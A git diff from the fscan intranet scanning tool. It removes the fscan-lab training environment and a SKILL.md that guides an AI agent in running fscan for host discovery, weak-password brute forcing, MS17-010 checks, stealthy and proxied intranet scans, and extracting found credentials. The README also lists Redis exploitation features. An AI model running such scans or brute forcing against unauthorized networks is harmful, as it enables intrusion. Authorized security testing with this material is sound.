fscan-lab/test-services/FTP/README.txt delete mode 100644 fscan-lab/test-services/FTP/docker-compose.yml delete mode 100644 fscan-lab/test-services/IMAP/Dockerfile delete mode 100644 fscan-lab/test-services/IMAP/README.txt delete mode 100644 fscan-lab/test-services/Kafka/README.txt delete mode 100644 fscan-lab/test-services/Kafka/docker-compose.yml delete mode 100644 fscan-lab/test-services/Kafka/kafka_jaas.conf delete mode 100644 fscan-lab/test-services/LDAP/Dockerfile delete mode 100644 fscan-lab/test-services/LDAP/README.txt delete mode 100644 fscan-lab/test-services/LDAP/bootstrap.ldif delete mode 100644 fscan-lab/test-services/MSSQL/Dockerfile delete mode 100644 fscan-lab/test-services/MSSQL/README.txt delete mode 100644 fscan-lab/test-services/Memcached/Dockerfile delete mode 100644 fscan-lab/test-services/Memcached/README.txt delete mode 100644 fscan-lab/test-services/Modbus/README.txt delete mode 100644 fscan-lab/test-services/Mongodb/Dockerfile delete mode 100644 fscan-lab/test-services/Mongodb/README.txt delete mode 100644 fscan-lab/test-services/MySQL/Dockerfile delete mode 100644 fscan-lab/test-services/MySQL/README.txt delete mode 100644 fscan-lab/test-services/MySQL/my.cnf delete mode 100644 fscan-lab/test-services/Neo4j/Dockerfile delete mode 100644 fscan-lab/test-services/Neo4j/docker-compose.yml delete mode 100644 fscan-lab/test-services/Oracle/Dockerfile delete mode 100644 fscan-lab/test-services/Oracle/README.txt delete mode 100644 fscan-lab/test-services/POP3/Dockerfile delete mode 100644 fscan-lab/test-services/POP3/README.txt delete mode 100644 fscan-lab/test-services/Postgre/Dockerfile delete mode 100644 fscan-lab/test-services/Postgre/README.md delete mode 100644 fscan-lab/test-services/RabbitMQ/Dockerfile delete mode 100644 fscan-lab/test-services/RabbitMQ/README.txt delete mode 100644 fscan-lab/test-services/Redis/Dockerfile delete mode 100644 fscan-lab/test-services/Redis/README.txt delete mode 100644 fscan-lab/test-services/Redis/docker-compose.yml delete mode 100644 fscan-lab/test-services/Redis/redis.conf delete mode 100644 fscan-lab/test-services/Rsync/Dockerfile delete mode 100644 fscan-lab/test-services/Rsync/README.txt delete mode 100644 fscan-lab/test-services/Rsync/docker-compose.yml delete mode 100644 fscan-lab/test-services/SMB/Dockerfile delete mode 100644 fscan-lab/test-services/SMTP/Dockerfile delete mode 100644 fscan-lab/test-services/SMTP/README.txt delete mode 100644 fscan-lab/test-services/SMTP/docker-compose.yml delete mode 100644 fscan-lab/test-services/SMTP/start.sh delete mode 100644 fscan-lab/test-services/SNMP/Dockerfile delete mode 100644 fscan-lab/test-services/SNMP/README.txt delete mode 100644 fscan-lab/test-services/SNMP/docker-compose.yml delete mode 100644 fscan-lab/test-services/SSH/Dockerfile delete mode 100644 fscan-lab/test-services/SSH/README.txt delete mode 100644 fscan-lab/test-services/SSH/docker-compose.yml delete mode 100644 fscan-lab/test-services/SSH/entrypoint.sh delete mode 100644 fscan-lab/test-services/SSH/test_key delete mode 100644 fscan-lab/test-services/SSH/test_key.pub delete mode 100644 fscan-lab/test-services/SSH/test_key_root delete mode 100644 fscan-lab/test-services/SSH/test_key_root.pub delete mode 100644 fscan-lab/test-services/SSH/test_pairs.txt delete mode 100644 fscan-lab/test-services/SSH/test_passwords.txt delete mode 100644 fscan-lab/test-services/SSH/test_users.txt delete mode 100644 fscan-lab/test-services/Telnet/Dockerfile delete mode 100644 fscan-lab/test-services/Telnet/README.md delete mode 100644 fscan-lab/test-services/Telnet/docker-compose.yml delete mode 100644 fscan-lab/test-services/Tomcat/Dockerfile delete mode 100644 fscan-lab/test-services/Tomcat/README.txt delete mode 100644 fscan-lab/test-services/Tomcat/context.xml delete mode 100644 fscan-lab/test-services/Tomcat/tomcat-users.xml delete mode 100644 fscan-lab/test-services/VNC/Dockerfile delete mode 100644 fscan-lab/test-services/VNC/README.txt delete mode 100644 fscan-lab/test-services/VNC/docker-compose.yml delete mode 100644 fscan-lab/test-services/VNC/simple-docker-compose.yml delete mode 100644 fscan-lab/test-services/VNC/supervisord.conf delete mode 100644 fscan-lab/test-services/Weblogic/Dockerfile delete mode 100644 fscan-lab/test-services/Weblogic/README.txt delete mode 100644 fscan-lab/test-services/Weblogic/create-domain.py delete mode 100644 fscan-lab/test-services/Weblogic/start.sh delete mode 100644 fscan-lab/test-services/Zabbix/docker-compose.yml delete mode 100644 fscan-lab/test-services/docker-compose.yml delete mode 100644 libs/grdp/protocol/t125/mcs.go.bak delete mode 100644 tools/perftest/results/benchmarks/benchmark_chart.png delete mode 100644 tools/perftest/results/benchmarks/benchmark_results.txt delete mode 100644 tools/perftest/results/benchmarks/benchmark_tradeoff.png delete mode 100644 tools/perftest/results/cloudflare_anycast/perf_results.csv delete mode 100644 tools/perftest/results/cloudflare_anycast/scalability.png delete mode 100644 tools/perftest/results/internal_metrics/internal_metrics_chart.png delete mode 100644 tools/perftest/results/internal_metrics/precise_results.csv delete mode 100644 tools/perftest/results/internal_metrics/scalability_chart.png delete mode 100644 tools/perftest/results/param_tests/mt_results.csv delete mode 100644 tools/perftest/results/param_tests/param_test_chart.png delete mode 100644 tools/perftest/results/param_tests/time_optimization_chart.png delete mode 100644 tools/perftest/results/param_tests/time_results.csv diff --git a/.gitignore b/.gitignore index ec294444..3229b544 100644 --- a/.gitignore +++ b/.gitignore @@ -73,6 +73,7 @@ go.work.sum # Performance profiling / 性能分析 profiles/ +tools/perftest/results/ # Local development tools / 本地开发工具 .air.toml diff --git a/README.md b/README.md index 7ce2b36c..3217b79f 100644 --- a/README.md +++ b/README.md @@ -107,7 +107,6 @@ - **HTTP重定向控制** - 可配置的重定向次数限制 - **性能分析支持** - 添加pprof性能分析和benchmark测试 - **TCP包统计** - 服务插件支持TCP包发送统计 -- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成) - **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE) - **rsync插件重构** - 使用go-rsync库重构认证逻辑 @@ -245,19 +244,6 @@ yay -S fscan-git - 为每个服务插件开发更多漏洞检测和利用能力 - 保持插件API向后兼容,确保旧版本POC持续可用 -### Fscan-lite -- C语言重写的轻量版本 -- 更小的体积,更少的依赖 -- 支持更多嵌入式/受限环境 -- 目录: [fscan-lite](./fscan-lite) - -### Fscan-lab -- 内网渗透测试靶场环境 -- 覆盖所有fscan支持的漏洞场景 -- 开发测试与功能验证平台 -- 新手学习与技能练习环境 -- 目录: [fscan-lab](./fscan-lab) - ## 免责声明 本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。 diff --git a/README_EN.md b/README_EN.md index d2ecd7c9..1ffc2535 100644 --- a/README_EN.md +++ b/README_EN.md @@ -106,7 +106,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **HTTP Redirect Control** - Configurable redirect count limit - **Performance Profiling Support** - Added pprof profiling and benchmark tests - **TCP Packet Statistics** - Service plugins support TCP packet send statistics -- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios - **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE) - **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library @@ -239,19 +238,6 @@ yay -S fscan-git - Develop more vulnerability detection and exploitation capabilities for each service plugin - Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional -### Fscan-lite -- Lightweight version rewritten in C -- Smaller binary size, fewer dependencies -- Support for embedded/restricted environments -- Directory: [fscan-lite](./fscan-lite) - -### Fscan-lab -- Intranet penetration testing lab environment -- Covers all vulnerability scenarios supported by fscan -- Development testing and feature verification platform -- Learning and practice environment for beginners -- Directory: [fscan-lab](./fscan-lab) - ## Disclaimer This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use. diff --git a/SKILL.md b/SKILL.md deleted file mode 100644 index 2a3065ff..00000000 --- a/SKILL.md +++ /dev/null @@ -1,304 +0,0 @@ ---- -name: fscan-agent -description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。 -argument-hint: <目标IP/网段> [附加参数] -allowed-tools: Bash, Read, Agent ---- - -# Fscan AI Agent Skill - -## 工具概述 - -Fscan 是一款内网综合扫描工具,功能包括: -- 主机存活探测(ICMP / TCP) -- 端口扫描与服务识别 -- 漏洞检测(MS17-010、Redis 未授权等) -- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等) -- Web 指纹识别与 POC 扫描 -- NetBIOS / SMB 信息收集 -- 本地信息收集(杀软检测、系统信息等) - -二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。 - -## 调用格式 - -```bash -# AI agent 标准用法:NDJSON 输出,无人类日志干扰 -fscan -h <目标> -silent [其他参数] - -# 解析输出 -fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")' -``` - -## 核心参数 - -### 目标指定 - -| 参数 | 说明 | 示例 | -|------|------|------| -| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` | -| `-hf` | 从文件读取目标 | `-hf targets.txt` | -| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` | -| `-ep` | 排除端口 | `-ep 25,110` | -| `-eh` | 排除主机 | `-eh 192.168.1.1` | -| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` | -| `-uf` | URL 文件 | `-uf urls.txt` | - -### 扫描控制 - -| 参数 | 说明 | 默认值 | -|------|------|--------| -| `-m` | 扫描模式 | `all` | -| `-t` | 端口扫描线程数 | `600` | -| `-mt` | 模块线程数 | `20` | -| `-time` | 连接超时(秒) | `3` | -| `-gt` | 全局超时(秒) | `180` | -| `-np` | 跳过存活检测 | `false` | -| `-ntp` | 禁用 TCP 补充探测 | `false` | -| `-ao` | 仅存活检测 | `false` | -| `-nobr` | 禁用暴力破解 | `false` | -| `-full` | 全量 POC 扫描 | `false` | -| `-max-retries` | 最大重试次数 | `1` | - -### 认证 - -| 参数 | 说明 | -|------|------| -| `-user` | 用户名 | -| `-pwd` | 密码 | -| `-usera` | 追加用户名 | -| `-pwda` | 追加密码,支持逗号或空格分隔多个值 | -| `-userf` | 用户名字典文件 | -| `-pwdf` | 密码字典文件 | -| `-domain` | 域名(SMB/WMI) | -| `-sshkey` | SSH 私钥文件 | -| `-hash` / `-hashf` | NTLM Hash / Hash 文件 | - -### 代理 - -| 参数 | 说明 | -|------|------| -| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) | -| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) | -| `-iface` | 指定本地网卡 IP(VPN 场景) | - -### 输出 - -| 参数 | 说明 | -|------|------| -| `-silent` | 静默模式:stdout 仅输出 NDJSON | -| `-o` | 输出文件路径(默认 `result.txt`) | -| `-f` | 输出格式:`txt` / `json` / `csv` | -| `-no` | 禁用文件保存 | -| `-debug` | 调试模式:日志写入 `fscan_debug.log` | -| `-log` | 日志级别(`debug` / `info` / `base` / `error`) | - -### 扫描模式 `-m` 的取值 - -| 值 | 说明 | -|------|------| -| `all` | 全部扫描(默认) | -| `icmp` | 仅 ICMP 存活检测 | -| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) | - -## 服务插件列表 - -| 插件 | 默认端口 | 功能 | -|------|----------|------| -| `ftp` | 21 | FTP 弱口令 | -| `ssh` | 22 | SSH 弱口令 | -| `telnet` | 23 | Telnet 弱口令 | -| `smtp` | 25 | SMTP 弱口令 | -| `findnet` | 135 | RPC 网络信息发现(NetInfo) | -| `netbios` | 139 | NetBIOS 信息收集 | -| `smb` | 445 | SMB 弱口令 | -| `ms17010` | 445 | MS17-010 永恒之蓝检测 | -| `ldap` | 389 | LDAP 弱口令 | -| `mssql` | 1433 | MSSQL 弱口令 | -| `oracle` | 1521 | Oracle 弱口令 | -| `mysql` | 3306 | MySQL 弱口令 | -| `rdp` | 3389 | RDP 弱口令 + 系统信息 | -| `postgresql` | 5432 | PostgreSQL 弱口令 | -| `vnc` | 5900 | VNC 弱口令 | -| `redis` | 6379 | Redis 未授权 + 弱口令 | -| `elasticsearch` | 9200 | ES 未授权 | -| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 | -| `memcached` | 11211 | Memcached 未授权 | -| `kafka` | 9092 | Kafka 未授权 | -| `activemq` | 61616 | ActiveMQ 弱口令 | -| `rabbitmq` | 5672 | RabbitMQ 弱口令 | -| `cassandra` | 9042 | Cassandra 弱口令 | -| `neo4j` | 7687 | Neo4j 弱口令 | -| `rsync` | 873 | Rsync 未授权 | -| `webtitle` | 80/443 | Web 标题 + 指纹识别 | -| `webpoc` | 80/443 | Web 漏洞 POC | - -## 本地插件(`-local`) - -```bash -fscan -local avdetect # 杀软检测 -fscan -local systeminfo # 系统信息收集 -fscan -local envinfo # 环境变量信息 -fscan -local dcinfo # 域控信息 -fscan -local fileinfo # 敏感文件搜索 -``` - -## NDJSON 输出 Schema(`-silent` 模式) - -每行一个 JSON 对象,所有字段定义: - -| 字段 | 类型 | 出现条件 | 说明 | -|------|------|----------|------| -| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` | -| `target` | string | 必有 | 原始目标 `host` 或 `host:port` | -| `status` | string | 必有 | 状态描述 | -| `host` | string | 必有 | IP 地址 | -| `port` | int | PORT/SERVICE/VULN | 端口号 | -| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) | -| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) | -| `banner` | string | SERVICE | 服务 Banner | -| `title` | string | SERVICE (web) | 网页标题 | -| `url` | string | SERVICE (web) | 完整 URL | -| `vulnerability` | string | VULN | 漏洞名称 | -| `username` | string | VULN (弱口令) | 用户名 | -| `password` | string | VULN (弱口令) | 密码 | -| `plugin` | string | SERVICE/VULN | 产生结果的插件名 | -| `version` | string | SERVICE | 服务版本号 | -| `os` | string | SERVICE | 操作系统信息 | - -### 输出示例 - -```jsonl -{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"} -{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22} -{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445} -{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"} -{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"} -{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"} -{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"} -{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"} -``` - -### 结果产出顺序 - -1. `HOST` — 存活探测阶段 -2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错) -3. `SERVICE` — 服务识别阶段 -4. `VULN` — 漏洞/弱口令检测阶段 - -同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。 - -## 常用场景参数组合 - -### 全网段快速扫描 - -```bash -fscan -h 192.168.1.0/24 -silent -``` - -### 跳过存活检测直接扫端口(目标明确时) - -```bash -fscan -h 192.168.1.0/24 -silent -np -``` - -### 指定端口精确扫描 - -```bash -fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379 -``` - -### 仅存活探测 - -```bash -fscan -h 172.16.0.0/16 -silent -m icmp -``` - -### 低速隐蔽扫描 - -```bash -fscan -h 192.168.1.0/24 -silent -t 30 -time 5 -``` - -### 通过 SOCKS5 代理扫描内网 - -```bash -fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080 -``` - -### 仅做弱口令检测 - -```bash -fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt -``` - -### Web 目标扫描 - -```bash -fscan -u https://target.com -silent -full -``` - -### 多目标文件批量扫描 - -```bash -fscan -hf targets.txt -silent -o results.json -f json -``` - -### 带调试日志的排障扫描 - -```bash -# NDJSON 到 stdout,debug 日志到文件,互不干扰 -fscan -h 192.168.1.0/24 -silent -debug -# 事后查看:cat fscan_debug.log -``` - -## AI Agent 结果处理 - -### Python 管道消费 - -```python -import json, subprocess - -proc = subprocess.Popen( - ["fscan", "-h", "192.168.1.0/24", "-silent"], - stdout=subprocess.PIPE, text=True -) - -hosts, services, vulns = [], [], [] -for line in proc.stdout: - r = json.loads(line) - if r["type"] == "HOST": - hosts.append(r["host"]) - elif r["type"] == "SERVICE": - services.append(r) - elif r["type"] == "VULN": - vulns.append(r) - -proc.wait() -``` - -### jq 过滤 - -```bash -# 提取所有弱口令 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"' - -# 提取所有漏洞 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"' - -# 提取 Web 服务 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"' - -# 统计开放端口 -fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn -``` - -## 注意事项 - -- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON -- 空字段不出现在 JSON 中(`omitempty`) -- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败 -- `-silent` 和 `-debug` 可同时使用,互不干扰 -- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证 -- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级 -- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率 diff --git a/fscan-lab/.gitignore b/fscan-lab/.gitignore deleted file mode 100644 index b62990af..00000000 --- a/fscan-lab/.gitignore +++ /dev/null @@ -1,29 +0,0 @@ -# fscan 二进制 -docker/attacker/fscan - -# 数据文件 -backend/data/*.json -flags/*.key -flags/*.pub - -# Node modules -frontend/node_modules/ -frontend/dist/ -frontend/.vite/ - -# Go -backend/api -*.exe -*.exe~ - -# Docker -.env - -# IDE -.idea/ -.vscode/ -*.swp -*.swo - -# Logs -*.log diff --git a/fscan-lab/README.md b/fscan-lab/README.md deleted file mode 100644 index b70939f2..00000000 --- a/fscan-lab/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# fscan-lab:内网渗透训练平台 - -基于Docker的五层网络架构渗透测试环境,用于学习和练习fscan工具在真实内网场景的应用。 - -## 快速开始 - -```bash -# 启动环境 -docker-compose up -d - -# 进入攻击者容器 -docker exec -it lab-attacker /bin/bash - -# 开始渗透(从DMZ区开始) -fscan -h 10.10.1.0/24 -``` - -## 网络拓扑 - -``` -外网(172.16.0.0/24) → DMZ(10.10.1.0/24) → 办公网(10.10.2.0/24) → 生产网(10.10.3.0/24) → 核心网(10.10.4.0/24) -``` - -## 目录说明 - -- `docker-compose.yml` - 完整环境配置(23个容器) -- `test-services/` - 单服务测试环境(28个服务) -- `docker/` - 网络服务配置 -- `backend/` - API服务(Go) -- `frontend/` - Web UI(React) - -## Web界面 - -- **训练平台**: http://localhost:3000 -- **API服务**: http://localhost:8888 - -## 管理命令 - -```bash -# 查看状态 -docker-compose ps - -# 停止环境 -docker-compose down - -# 完全清理 -docker-compose down -v -``` diff --git a/fscan-lab/backend/Dockerfile b/fscan-lab/backend/Dockerfile deleted file mode 100644 index 37e0ad9c..00000000 --- a/fscan-lab/backend/Dockerfile +++ /dev/null @@ -1,23 +0,0 @@ -FROM golang:1.20-alpine AS builder - -WORKDIR /build - -COPY go.mod go.sum* ./ -RUN go mod download || true - -COPY . . -RUN CGO_ENABLED=0 GOOS=linux go build -o api . - -FROM alpine:latest - -RUN apk add --no-cache ca-certificates - -WORKDIR /app - -COPY --from=builder /build/api /app/api - -RUN mkdir -p /app/data /app/flags - -EXPOSE 8888 - -CMD ["/app/api"] diff --git a/fscan-lab/backend/go.mod b/fscan-lab/backend/go.mod deleted file mode 100644 index 297ad477..00000000 --- a/fscan-lab/backend/go.mod +++ /dev/null @@ -1,37 +0,0 @@ -module fscan-lab-api - -go 1.20 - -require ( - github.com/gin-contrib/cors v1.7.0 - github.com/gin-gonic/gin v1.9.1 -) - -require ( - github.com/bytedance/sonic v1.11.2 // indirect - github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d // indirect - github.com/chenzhuoyu/iasm v0.9.1 // indirect - github.com/gabriel-vasile/mimetype v1.4.3 // indirect - github.com/gin-contrib/sse v0.1.0 // indirect - github.com/go-playground/locales v0.14.1 // indirect - github.com/go-playground/universal-translator v0.18.1 // indirect - github.com/go-playground/validator/v10 v10.19.0 // indirect - github.com/goccy/go-json v0.10.2 // indirect - github.com/json-iterator/go v1.1.12 // indirect - github.com/klauspost/cpuid/v2 v2.2.7 // indirect - github.com/kr/text v0.2.0 // indirect - github.com/leodido/go-urn v1.4.0 // indirect - github.com/mattn/go-isatty v0.0.20 // indirect - github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect - github.com/modern-go/reflect2 v1.0.2 // indirect - github.com/pelletier/go-toml/v2 v2.1.1 // indirect - github.com/twitchyliquid64/golang-asm v0.15.1 // indirect - github.com/ugorji/go/codec v1.2.12 // indirect - golang.org/x/arch v0.7.0 // indirect - golang.org/x/crypto v0.21.0 // indirect - golang.org/x/net v0.22.0 // indirect - golang.org/x/sys v0.18.0 // indirect - golang.org/x/text v0.14.0 // indirect - google.golang.org/protobuf v1.33.0 // indirect - gopkg.in/yaml.v3 v3.0.1 // indirect -) diff --git a/fscan-lab/backend/go.sum b/fscan-lab/backend/go.sum deleted file mode 100644 index 538880fd..00000000 --- a/fscan-lab/backend/go.sum +++ /dev/null @@ -1,94 +0,0 @@ -github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= -github.com/bytedance/sonic v1.10.0-rc/go.mod h1:ElCzW+ufi8qKqNW0FY314xriJhyJhuoJ3gFZdAHF7NM= -github.com/bytedance/sonic v1.11.2 h1:ywfwo0a/3j9HR8wsYGWsIWl2mvRsI950HyoxiBERw5A= -github.com/bytedance/sonic v1.11.2/go.mod h1:iZcSUejdk5aukTND/Eu/ivjQuEL0Cu9/rf50Hi0u/g4= -github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= -github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= -github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d h1:77cEq6EriyTZ0g/qfRdp61a3Uu/AWrgIq2s0ClJV1g0= -github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d/go.mod h1:8EPpVsBuRksnlj1mLy4AWzRNQYxauNi62uWcE3to6eA= -github.com/chenzhuoyu/iasm v0.9.0/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= -github.com/chenzhuoyu/iasm v0.9.1 h1:tUHQJXo3NhBqw6s33wkGn9SP3bvrWLdlVIJ3hQBL7P0= -github.com/chenzhuoyu/iasm v0.9.1/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= -github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= -github.com/gin-contrib/cors v1.7.0 h1:wZX2wuZ0o7rV2/1i7gb4Jn+gW7HBqaP91fizJkBUJOA= -github.com/gin-contrib/cors v1.7.0/go.mod h1:cI+h6iOAyxKRtUtC6iF/Si1KSFvGm/gK+kshxlCi8ro= -github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= -github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= -github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg= -github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= -github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= -github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= -github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= -github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= -github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.19.0 h1:ol+5Fu+cSq9JD7SoSqe04GMI92cbn0+wvQ3bZ8b/AU4= -github.com/go-playground/validator/v10 v10.19.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= -github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= -github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= -github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= -github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= -github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= -github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= -github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= -github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= -github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= -github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= -github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= -github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= -github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/pelletier/go-toml/v2 v2.1.1 